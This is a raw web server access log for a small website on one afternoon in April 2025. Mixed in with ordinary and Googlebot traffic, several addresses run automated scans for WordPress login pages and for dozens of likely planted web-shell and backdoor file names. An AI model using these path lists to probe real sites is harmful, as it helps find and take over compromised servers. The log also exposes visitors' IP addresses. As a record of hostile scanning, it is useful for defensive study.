[29/Apr/2025:12:27:34 -0400] "GET /img/logo/favicon.ico HTTP/1.1" 301 795 "-" "-" 43.205.98.73 - - [29/Apr/2025:12:28:00 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.230.223.142 - - [29/Apr/2025:12:33:41 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "http://designpitara.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 23.230.223.142 - - [29/Apr/2025:12:33:49 -0400] "GET /administrator/ HTTP/1.1" 301 795 "http://designpitara.com/administrator/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 129.226.93.214 - - [29/Apr/2025:13:12:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.187.179.6 - - [29/Apr/2025:13:51:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 89.187.179.6 - - [29/Apr/2025:13:51:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 89.187.179.6 - - [29/Apr/2025:13:51:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 89.187.179.6 - - [29/Apr/2025:13:51:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 52.168.148.175 - - [29/Apr/2025:13:56:38 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:39 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:40 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:40 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:41 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:41 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:42 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:43 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:43 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:44 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:44 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:44 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:45 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:45 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:46 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:47 -0400] "GET /xcc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:48 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:49 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:49 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:50 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:50 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:51 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:51 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:51 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:52 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:52 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:52 -0400] "GET /.tmb/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:52 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:53 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:53 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:54 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:54 -0400] "GET /wp-includes/style-engine/gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:54 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:55 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:56 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:56 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:58 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:58 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:58 -0400] "GET /wp-content/uploads/2023/10/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:56:59 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:00 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:00 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:00 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:01 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:01 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:02 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:02 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:04 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:05 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:05 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:05 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:06 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:06 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:08 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:09 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:10 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:11 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:12 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:13 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:14 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:14 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:15 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:16 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:16 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:18 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:19 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:19 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:19 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:20 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:20 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:20 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:21 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:22 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:22 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:23 -0400] "GET /.well-known/acme-challenge/new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:23 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:23 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:24 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:24 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:24 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:25 -0400] "GET /wp-includes/blocks/heading/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:25 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:25 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:25 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:26 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:26 -0400] "GET /wp-content/bk.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:26 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:27 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [29/Apr/2025:13:57:28 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 66.249.79.162 - - [29/Apr/2025:14:41:13 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.160 - - [29/Apr/2025:14:41:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.95 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 104.244.74.23 - - [29/Apr/2025:14:42:16 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MALNJS)" 223.244.35.77 - - [29/Apr/2025:14:43:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 37.19.211.93 - - [29/Apr/2025:14:45:24 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:24 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.93 - - [29/Apr/2025:14:45:25 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:25 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:25 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:25 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:26 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:26 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:26 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:27 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:27 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:27 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:27 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:27 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:28 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.93 - - [29/Apr/2025:14:45:28 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:28 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.93 - - [29/Apr/2025:14:45:28 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:29 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.93 - - [29/Apr/2025:14:45:29 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:29 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:29 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:30 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:30 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:30 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:30 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.93 - - [29/Apr/2025:14:45:31 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.93 - - [29/Apr/2025:14:45:31 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:31 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.93 - - [29/Apr/2025:14:45:32 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:32 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:32 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:32 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:33 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.93 - - [29/Apr/2025:14:45:33 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.93 - - [29/Apr/2025:14:45:33 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:33 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:34 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:34 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.93 - - [29/Apr/2025:14:45:35 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:35 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:35 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:36 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.93 - - [29/Apr/2025:14:45:36 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.93 - - [29/Apr/2025:14:45:36 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:37 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:37 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:37 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:37 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.93 - - [29/Apr/2025:14:45:38 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:38 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:38 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:39 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:39 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:40 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:40 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.93 - - [29/Apr/2025:14:45:41 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 